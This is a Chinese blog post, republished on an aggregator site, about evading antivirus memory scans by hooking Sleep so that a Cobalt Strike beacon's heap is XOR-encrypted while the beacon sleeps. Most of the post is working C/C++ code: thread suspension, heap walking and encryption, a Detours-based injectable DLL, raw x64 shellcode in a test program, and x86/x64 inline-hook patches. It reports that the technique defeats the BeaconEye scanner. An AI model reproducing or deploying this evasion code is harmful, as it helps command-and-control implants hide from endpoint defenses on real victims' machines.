浅谈hook下的免杀研究

news2025/2/25 2:26:35

文章目录

    • 前记
    • 实现过程
    • 后记
    • reference

前记

原理

CS在高版本中推出了sleep mask功能,即在beacon sleep时对堆进行加密混淆,绕过内存扫描,在恢复运行前还原,防止进程崩溃。beacon每次运行的时间远短于sleep时间,内存扫描也就很难发现内存中C2Profile特征,进而实现了绕过

思路如下

在堆加密之前把当前进程的所有线程都挂起来,不然如果其他线程访问堆而堆是乱码。同样的,在挂起线程时,当前线程是不能挂起的,不然就全部挂起当场死锁了,当前线程需要进sleep挂起然后sleep结束恢复

static PROCESS_HEAP_ENTRY entry;
VOID HeapEncryptDecrypt() {
    SecureZeroMemory(&entry, sizeof(entry));
    while (HeapWalk(currentHeap, &entry)) {
        if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {
            XORFunction(key, keySize, (char*)(entry.lpData), entry.cbData);
        }
    }
}

static void(WINAPI* OrigianlSleepFunction)(DWORD dwMiliseconds);
void WINAPI HookedSleepFunction(DWORD dwMiliseconds) {
    DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());
    HeapEncryptDecrypt();

    OriginalSleepFunction(dwMiliseconds);

    HeapEncryptDecrypt();
    DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());
}
    
void main()
{
    DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());
    Hook("kernel32.dll", "Sleep", (LPVOID)HookedSleepFunction, (FARPROC*)&OriginalSleepFunction, true);
    if (!OldAlloc) {
        MessageBoxA(NULL, "Hooking RtlAllocateHeap failed.", "Status", NULL);
    }
    DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());
    // Sleep is now hooked
}

堆加密实现

static PROCESS_HEAP_ENTRY entry;
VOID HeapEncryptDecrypt() {
    SecureZeroMemory(&entry, sizeof(entry));
    while (HeapWalk(currentHeap, &entry)) {
        if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {
            XORFunction(key, keySize, (char*)(entry.lpData), entry.cbData);
        }
    }
}

实现过程

先浅析代码

 if (Thread32First(h, &te))
 {
     do
     {
         if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
         {
             // Suspend all threads EXCEPT the one we want to keep running
             if (te.th32ThreadID != targetThreadId && te.th32OwnerProcessID == targetProcessId)
             {
                 HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
                 if (thread != NULL)
                 {
                     SuspendThread(thread);
                     CloseHandle(thread);
                 }
             }
         }
         te.dwSize = sizeof(te);
     } while (Thread32Next(h, &te));
 }

这个检查偏移量加上进程pid大小是因为有一个历史原因。在较旧的 Windows 版本中,Thread32FirstThread32Next 函数默认情况下只填充 THREADENTRY32 结构体中包含有限的信息,这些信息不包括 th32OwnerProcessID 成员。该代码确保检索到的 THREADENTRY32 结构体实际上包含 th32OwnerProcessID 信息。这里把除自己之外的其他线程全部挂起

void WINAPI HookedSleep(DWORD dwMiliseconds) {
    DWORD time = dwMiliseconds;
    if (time > 1000) {
        DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());
        HeapEncryptDecrypt();

        OldSleep(dwMiliseconds);

        HeapEncryptDecrypt();
        DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());
    }
    else {
        OldSleep(time);
    }
}

这里判断睡眠时间大于一秒就挂起其余线程,堆加密并睡眠,睡眠结束后解密再恢复所有线程

用BeaconEye扫描未slepp的cs进程内存发现内存中存在beacon,设置sleep后BeaconEye未能检测出beacon

这里自己写个c测试

#include <windows.h>
#include<stdio.h>
void like() {
    //calc shellcode
    unsigned char rawData[276] = {
        0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
        0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
        0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
        0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
        0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
        0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
        0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
        0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
        0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
        0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
        0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
        0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
        0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
        0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
        0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
        0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
        0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
        0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
        0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
        0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
        0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
        0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
        0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
    };
    LPVOID Alloc =(LPVOID) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(rawData));
    if (Alloc == NULL) {
        // 分配内存失败
        printf("Error allocating memory\n");
        HeapFree(GetProcessHeap(), 0, Alloc);
        return;
    }
    memcpy(Alloc, rawData, sizeof(rawData));
    while (1)
    {
        printf("%x\n", Alloc);
        Sleep(5000);
    }
    HeapFree(GetProcessHeap(), 0, Alloc);
    return;
}

int main() {
    like();
}
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include<stdlib.h>
#include<iostream>
#include<windows.h>
#include<detours.h>
#include "Encrypt.h"
#include "SuspendThreads.h"
using namespace std;
auto pf = Sleep;

// Encryption Key
const char key[6] = "ACDEf";
size_t keySize = sizeof(key);

PROCESS_HEAP_ENTRY entry;
void HeapEncryptDecrypt() {
    SecureZeroMemory(&entry, sizeof(entry));
    while (HeapWalk(GetProcessHeap(), &entry)) {
        if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {
            xor_bidirectional_encode(key, keySize, (char*)(entry.lpData), entry.cbData);
        }
    }
}
//Hooked Sleep
void WINAPI HookedSleep(DWORD dwMiliseconds) {
    DWORD time = dwMiliseconds;
    if (time > 1000) {
        DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());
        HeapEncryptDecrypt();
        pf(time);
        HeapEncryptDecrypt();
        DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());
    }
    else {
        pf(time);
    }
}
int main()
{
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourAttach(&pf, HookedSleep);
    DetourTransactionCommit();
}
EXTERN_C __declspec(dllexport) void test()
{

}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        main();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

这里加密用异或,所以加解密使用同一个函数

//Encrypt.h
#pragma once

void xor_bidirectional_encode(const char* key, const size_t keyLength, char* buffer, const size_t length) {
    for (size_t i = 0; i < length; ++i) {
        buffer[i] ^= key[i % keyLength];
    }
}
#pragma once

#include <Windows.h>
#include <TlHelp32.h>

// Pass 0 as the targetProcessId to suspend threads in the current process
void DoSuspendThreads(DWORD targetProcessId, DWORD targetThreadId)
{
    HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (h != INVALID_HANDLE_VALUE)
    {
        THREADENTRY32 te;
        te.dwSize = sizeof(te);
        if (Thread32First(h, &te))
        {
            do
            {
                if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
                {
                    // Suspend all threads EXCEPT the one we want to keep running
                    if (te.th32ThreadID != targetThreadId && te.th32OwnerProcessID == targetProcessId)
                    {
                        HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
                        if (thread != NULL)
                        {
                            SuspendThread(thread);
                            CloseHandle(thread);
                        }
                    }
                }
                te.dwSize = sizeof(te);
            } while (Thread32Next(h, &te));
        }
        CloseHandle(h);
    }
}

void DoResumeThreads(DWORD targetProcessId, DWORD targetThreadId)
{
    HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (h != INVALID_HANDLE_VALUE)
    {
        THREADENTRY32 te;
        te.dwSize = sizeof(te);
        if (Thread32First(h, &te))
        {
            do
            {
                if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
                {
                    // Suspend all threads EXCEPT the one we want to keep running
                    if (te.th32ThreadID != targetThreadId && te.th32OwnerProcessID == targetProcessId)
                    {
                        HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
                        if (thread != NULL)
                        {
                            ResumeThread(thread);
                            CloseHandle(thread);
                        }
                    }
                }
                te.dwSize = sizeof(te);
            } while (Thread32Next(h, &te));
        }
        CloseHandle(h);
    }
}

可以明显看到堆内存在sleep和被唤醒时不断的解密和加密

在这里插入图片描述

在这里插入图片描述

后记

Detour

环境搭建

disasm.cpp:
#pragma data_seg(".code1")
#pragma const_seg(".code2")

x64 Native Tools Command Prompt for VS 2022
nmake
设置$(SolutionDir)
VC++目录两处,链接器常规、输入各一处

hook格式

#include<iostream>
#include<windows.h>
#include<detours.h>
using namespace std;
auto pf = MessageBoxA;

int WINAPI hookfunc(
	_In_opt_ HWND hWnd,
	_In_opt_ LPCSTR lpText,
	_In_opt_ LPCSTR lpCaption,
	_In_ UINT uType) {

	printf("coleak");
	return pf(hWnd,lpText,lpCaption,uType);
	//return 0;
}
int main()
{
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourAttach(&pf, hookfunc);
	DetourTransactionCommit();
	MessageBoxA(0, 0, 0, 0);
	//unhook
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourDetach(&pf, hookfunc);
	DetourTransactionCommit();
	MessageBoxA(0, "cc", "dd", 0);
	return 0;
}

minhook

MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal);
MH_STATUS WINAPI MH_CreateHookApi(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal);


void SetHook()
{
	if (MH_Initialize() == MB_OK)
	{
		MH_CreateHook(&MessageBoxA, &MyMessageBoxA, reinterpret_cast<void**>(&fpMessageBoxA));
		MH_EnableHook(&MessageBoxA);
	}
}

void UnHook()
{
	if (MH_DisableHook(&MessageBoxA) == MB_OK)
	{
		MH_Uninitialize();
	}
}

或者

template <typename T>
inline MH_STATUS MH_CreateHookEx(LPVOID pTarget, LPVOID pDetour, T** ppOriginal)
{
    return MH_CreateHook(pTarget, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}

template <typename T>
inline MH_STATUS MH_CreateHookApiEx(
    LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, T** ppOriginal)
{
    return MH_CreateHookApi(
        pszModule, pszProcName, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}

inline hook

实现流程

  • 获取需要挂钩的函数地址
  • 修改函数代码跳转到我们自己写的新函数,即hook
  • unhook
  • 调用恢复的原函数
  • 重新设置hook

x86

//\x68就是push,\xc3就是ret,然后32位的程序,地址刚好4字节
#include <iostream>
#include <Windows.h>

FARPROC messageBoxAddress = NULL;
SIZE_T bytesWritten = 0;
char messageBoxOriginalBytes[6] = {};

int __stdcall HookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {

    // print intercepted values from the MessageBoxA function
    std::cout << "Ohai from the hooked function\n";
    std::cout << "Text: " << (LPCSTR)lpText << "\nCaption: " << (LPCSTR)lpCaption << std::endl;

    // unpatch MessageBoxA
    WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, messageBoxOriginalBytes, sizeof(messageBoxOriginalBytes), &bytesWritten);

    // call the original MessageBoxA
    return MessageBoxA(NULL, lpText, lpCaption, uType);
}

int main()
{
    // show messagebox before hooking
    MessageBoxA(NULL, "hi", "hi", MB_OK);

    HINSTANCE library = LoadLibraryA("user32.dll");
    SIZE_T bytesRead = 0;

    // get address of the MessageBox function in memory
    messageBoxAddress = GetProcAddress(library, "MessageBoxA");

    // save the first 6 bytes of the original MessageBoxA function - will need for unhooking
    ReadProcessMemory(GetCurrentProcess(), messageBoxAddress, messageBoxOriginalBytes, 6, &bytesRead);
    //8b ff 55 8b ec 83
    // create a patch "push <address of new MessageBoxA); ret"
    void* hookedMessageBoxAddress = &HookedMessageBox;
    char patch[6] = { 0 };
    memcpy_s(patch, 1, "\x68", 1);
    memcpy_s(patch + 1, 4, &hookedMessageBoxAddress, 4);
    memcpy_s(patch + 5, 1, "\xC3", 1);
    // patch the MessageBoxA
    WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, patch, sizeof(patch), &bytesWritten);
    // show messagebox after hooking
    MessageBoxA(NULL, "hi", "hi", MB_OK);
    return 0;
}

x64

//mov rax xxxxxxx,push rax,ret
#include <iostream>
#include <Windows.h>

FARPROC messageBoxAddress = NULL;
SIZE_T bytesWritten = 0;
BYTE OldCode[12] = { 0x00 };
BYTE HookCode[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };

int __stdcall HookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {

    // print intercepted values from the MessageBoxA function
    std::cout << "Ohai from the hooked function\n";
    std::cout << "Text: " << (LPCSTR)lpText << "\nCaption: " << (LPCSTR)lpCaption << std::endl;

    // unpatch MessageBoxA
    WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, OldCode, sizeof(OldCode), &bytesWritten);

    // call the original MessageBoxA
    return MessageBoxA(NULL, lpText, lpCaption, uType);
}

int main()
{
    // show messagebox before hooking
    MessageBoxA(NULL, "hi", "hi", MB_OK);

    HINSTANCE library = LoadLibraryA("user32.dll");
    SIZE_T bytesRead = 0;

    // get address of the MessageBox function in memory
    messageBoxAddress = GetProcAddress(library, "MessageBoxA");

    // save the first 6 bytes of the original MessageBoxA function - will need for unhooking
    ReadProcessMemory(GetCurrentProcess(), messageBoxAddress, OldCode, 12, &bytesRead);

    // create a patch "push <address of new MessageBoxA); ret"
    void* hookedMessageBoxAddress = &HookedMessageBox;
    *(PINT64)(HookCode + 2) = (UINT64)HookedMessageBox;
    // patch the MessageBoxA
    WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, HookCode, sizeof(HookCode), &bytesWritten);

    // show messagebox after hooking
    MessageBoxA(NULL, "hi", "hi", MB_OK);

    return 0;
}

dll版本

#include <stdio.h>
#include <Windows.h>

BYTE OldCode[12] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
BYTE HookCode[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };

void Hook(LPCWSTR lpModule, LPCSTR lpFuncName, LPVOID lpFunction)
{
	DWORD_PTR FuncAddress = (UINT64)GetProcAddress(GetModuleHandle(lpModule), lpFuncName);
	DWORD OldProtect = 0;

	if (VirtualProtect((LPVOID)FuncAddress, 12, PAGE_EXECUTE_READWRITE, &OldProtect))
	{
		memcpy(OldCode, (LPVOID)FuncAddress, 12);                   // 拷贝原始机器码指令
		*(PINT64)(HookCode + 2) = (UINT64)lpFunction;               // 填充90为指定跳转地址
	}
	memcpy((LPVOID)FuncAddress, &HookCode, sizeof(HookCode));       // 拷贝Hook机器指令
	VirtualProtect((LPVOID)FuncAddress, 12, OldProtect, &OldProtect);
}

void UnHook(LPCWSTR lpModule, LPCSTR lpFuncName)
{
	DWORD OldProtect = 0;
	UINT64 FuncAddress = (UINT64)GetProcAddress(GetModuleHandle(lpModule), lpFuncName);
	if (VirtualProtect((LPVOID)FuncAddress, 12, PAGE_EXECUTE_READWRITE, &OldProtect))
	{
		memcpy((LPVOID)FuncAddress, OldCode, sizeof(OldCode));
	}
	VirtualProtect((LPVOID)FuncAddress, 12, OldProtect, &OldProtect);
}

int WINAPI MyMessageBoxW(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType)
{
	// 首先恢复Hook代码
	UnHook(L"user32.dll", "MessageBoxW");
	int ret = MessageBoxW(0, L"hello lyshark", lpCaption, uType);

	// 调用结束后,再次挂钩
	Hook(L"user32.dll", "MessageBoxW", (PROC)MyMessageBoxW);
	return ret;
}

bool APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)
{
	switch (dword)
	{
	case DLL_PROCESS_ATTACH:
		Hook(L"user32.dll", "MessageBoxW", (PROC)MyMessageBoxW);
		break;
	case DLL_PROCESS_DETACH:
		UnHook(L"user32.dll", "MessageBoxW");
		break;
	}
	return true;
}

常识速记

线程挂起

SuspendThreads和TerminateThread都是往目标线程里面插APC,在APC中对线程实现挂起/终止。然后发起一个中断去触发APC,如果线程本身在用户态接受中断就立刻执行APC,如果在内核态,就可能忽略中断,等从内核态出来再处理APC

堆栈区别

简单来说,栈是用于存储函数中局部数据的,函数执行完后栈上的数据会被清除。这意味着在函数运行期间存储在栈上的数据,在函数返回并完成时会被释放。对于那些你需要长期保存的变量来说,这显然不是一个好的选择。

而堆则是一种更长期的存储解决方案。堆上的分配会一直保留在堆上,直到你的代码手动释放它们为止。但是,如果你不断地将数据分配到堆上而从未释放任何内容,则会导致内存泄漏。

xdbg内存属性

  • 可读 ®: 允许读取内存中的数据。
  • 可写 (W): 允许写入内存中的数据。
  • 可执行 (E): 允许执行内存中的代码。
  • 复制 ©: 允许将内存中的数据复制到其他进程。
  • 守卫 (G): 防止内存中的数据被修改。

堆获取

GetProcessHeap用来获取默认堆而不能获取用户自己分配的堆(为了建议用户自己管理自己的堆而不被别人影响),而HeapWalk可以枚举指定堆中的内存块(虽然回收后堆空间存在碎片,但堆分配的空间在逻辑地址上是连续的,而在物理地址上是不连续的,因为采用了页式内存管理)

reference

https://blog.z3ratu1.top/%E5%A0%86%E5%8A%A0%E5%AF%86%E6%8A%80%E6%9C%AF%E6%8A%84%E5%86%99.html
https://xz.aliyun.com/t/9166?time__1311=n4%2BxuDgD9DyDnDfhD1D%2FD0WojowpItWeD&alichlgref=https%3A%2F%2Fwww.bing.com%2F
https://www.cnblogs.com/LyShark/p/13653394.html
https://www.arashparsa.com/hook-heaps-and-live-free/#considerations
https://github.com/TsudaKageyu/minhook

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1682455.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python实现520表白图案

今天是520哦&#xff0c;作为程序员有必要通过自己的专业知识来向你的爱人表达下你的爱意。那么python中怎么实现绘制520表白图案呢&#xff1f;这里给出方法&#xff1a; 1、使用图形库&#xff08;如turtle&#xff09; 使用turtle模块&#xff0c;你可以绘制各种形状和图案…

GPT‑4o普通账户也可以免费用

网址 https://chatgpt.com/ 试了一下&#xff0c;免费的确实显示GPT‑4o的模型&#xff0c;问了一下可以联网&#xff0c;不知道能不能通过插件出图 有兴趣的可以试试

海山数据库(He3DB)代理ProxySQL使用详解:(一)架构说明与安装

一、ProxySQL介绍 1.1 简介 业界比较知名的MySQL代理&#xff0c;由ProxySQL LLC公司开发并提供专业的服务支持&#xff0c;基于GPLv3开源协议进行发布,大部分配置项可动态变更。后端的MySQL实例可根据用途配置到不同的hostgroup中&#xff0c;由ProxySQL基于7层网络协议,将来…

第二证券股市资讯:突传重磅!高盛最新发声,事关中国股票!

外资猛买我国财物。 高盛在最新发布的陈述中称&#xff0c;海外对冲基金已连续第四周增持我国股票。另据彭博社的数据显现&#xff0c;上星期&#xff0c;我国是新式商场国家中录得最大资金流入的商场&#xff0c;达4.88亿美元&#xff08;约合人民币35亿元&#xff09;。 北…

滴滴三面 | Go后端研发

狠狠的被鞭打了快两个小时… 注意我写的题解不一定是对的&#xff0c;如果你认为有其他答案欢迎评论区留言 bg&#xff1a;23届 211本 社招 1. 自我介绍 2. 讲一个项目的点&#xff0c;因为用到了中间件平台的数据同步&#xff0c;于是开始鞭打数据同步。。 3. 如果同步的时候…

OpenFeign高级用法:缓存、QueryMap、MatrixVariable、CollectionFormat优雅地远程调用

码到三十五 &#xff1a; 个人主页 微服务架构中&#xff0c;服务之间的通信变得尤为关键。OpenFeign&#xff0c;一个声明式的Web服务客户端&#xff0c;使得REST API的调用变得更加简单和优雅。OpenFeign集成了Ribbon和Hystrix&#xff0c;具有负载均衡和容错的能力&#xff…

LInux实验二--进程间通信--信号

一、实验原理&#xff1a; 信号类似 windows 下的消息,用于通知进程有某种事件发生。只要知道进程的进 程号,就可以向进程发送信号。而进程可以自行定义对信号的处理方法。 二、实验内容&#xff1a; 实例一&#xff1a;编写实例&#xff0c;让子进程在启动2s后杀死父进程 /…

Docker Portainer使用

Portainer是什么 Docker Portainer是一个轻量级的 Web UI 管理界面,可以用来管理Docker环境。它提供了一个直观的控制台,用户可以通过它来管理Docker主机、容器、网络、卷等Docker资源。 Portainer的主要功能和特点包括: 容器管理:可以查看、启动、停止、删除容器,以及查看容器…

跳过无限debugger实战——替换和条件断点实战

网址&#xff1a;Scrape | Movie 打卡开发者工具&#xff1a; debugger代码及含义 setInterval((function() {debugger ;console.log("debugger")} function()是要执行的函数。interval是每次执行之间的时间间隔&#xff0c;以毫秒为单位。 你可以用想要的时间间隔…

用C语言把一棵普通二叉树安排得明明白白

1. 树的相关术语 结点的度&#xff1a;一个结点含有的子树的个数称为该结点的度&#xff1b; 如上图&#xff1a;A的为6 叶结点或终端结点&#xff1a;度为0的结点称为叶结点&#xff1b; 如上图&#xff1a;B、C、H、I...等结点为叶结点 非终端结点或分支结点&#xff1a;度不…

linux与windows脚本格式必须转换,linux只有LF

如果windows下的脚本在linux下直接执行&#xff0c;则会造成无穷的错误。 在文本处理中, CR, LF, CR/LF是不同操作系统上使用的换行符. Dos和windows&#xff1a; 采用回车换行CR/LF表示下一行. UNIX/Linux &#xff1a; 采用换行符LF表示下一行. MAC OS &#xff1a; 采用回车…

Git提交和配置命令

一、提交代码到仓库 在软件开发中&#xff0c;版本控制是一个至关重要的环节。而Git作为目前最流行的版本控制系统之一&#xff0c;为我们提供了便捷高效的代码管理和协作工具。在日常开发中&#xff0c;我们经常需要将本地代码提交到远程仓库&#xff0c;以便于团队协作和版本…

c++笔记3

优先队列 普通的队列是一种先进先出的数据结构&#xff0c;元素在队列尾追加&#xff0c;而从队列头删除。优先队列是一种按照优先级决定出队顺序的数据结构&#xff0c;优先队列中的每个元素被赋予级别&#xff0c;队首元素的优先级最高。 例如&#xff1a;4入队&#xff0c…

142.栈和队列:用栈实现队列(力扣)

题目描述 代码解决 class MyQueue { public:stack<int> stIn; // 输入栈&#xff0c;用于push操作stack<int> stOut; // 输出栈&#xff0c;用于pop和peek操作MyQueue() {}void push(int x) {stIn.push(x); // 将元素压入输入栈}int pop() {// 如果输出栈为空&…

如何*永久*禁用edge打开PDF文件?

要永久禁用Microsoft Edge打开PDF文件&#xff0c;您可以按照以下步骤进行操作&#xff1a; 打开文件资源管理器并找到任意一个PDF文件。 右键单击该文件并选择“属性”。 在“属性”对话框中&#xff0c;单击“更改”按钮旁边的“打开方式”。 在“打开方式”对话框中&…

键盘盲打是练出来的

键盘盲打是练出来的&#xff0c;那该如何练习呢&#xff1f;很简单&#xff0c;看着屏幕提示跟着练。屏幕上哪里有提示呢&#xff1f;请看我的截屏&#xff1a; 截屏下方有8个带字母的方块按钮&#xff0c;这个就是提示&#xff0c;也就是我们常说的8个基准键位&#xff0c;我…

vscode打造舒适的python开发环境

shigen坚持更新文章的博客写手&#xff0c;擅长Java、python、vue、shell等编程语言和各种应用程序、脚本的开发。记录成长&#xff0c;分享认知&#xff0c;留住感动。 个人IP&#xff1a;shigen 背景 突然想写一些python小脚本&#xff0c;提升我的mac使用体验和日常效率提升…

新媒体运营十大能力,让品牌闻达天下!

" 现在新媒体蓬勃发展&#xff0c;很多品牌都有新媒体运营这个岗位。新媒体运营好的话&#xff0c;可以提高公司品牌曝光、影响力。那新媒体运营具备什么能力&#xff0c;才能让品牌知名度如虎添翼呢&#xff1f;" 信息收集能力 在移动互联网时代&#xff0c;信息的…

vscode插件-03 PHP

PHP Intelephense 如果php在远程计算机上&#xff0c;要把插件安装在远程&#xff0c;而不是本地。 这个插件&#xff0c;要求php版本大于7&#xff0c;且设置环境变量&#xff08;好像不一定要设置&#xff09;。 设置里面搜索php.executablePath&#xff0c;打开setting.js…

音视频安卓主板记录仪手持终端定制开发_基于MT6762平台解决方案

音视频安卓主板采用了基于MT6762高性能处理器芯片的设计&#xff0c;其中包括4个主频高达2.0GHz的Cortex-A53核心和4个主频1.5GHz的Cortex-A53高效聚焦核心&#xff0c;可提供无比流畅的体验。搭载Android 12操作系统&#xff0c;系统版本进行了全新的优化&#xff0c;进一步确…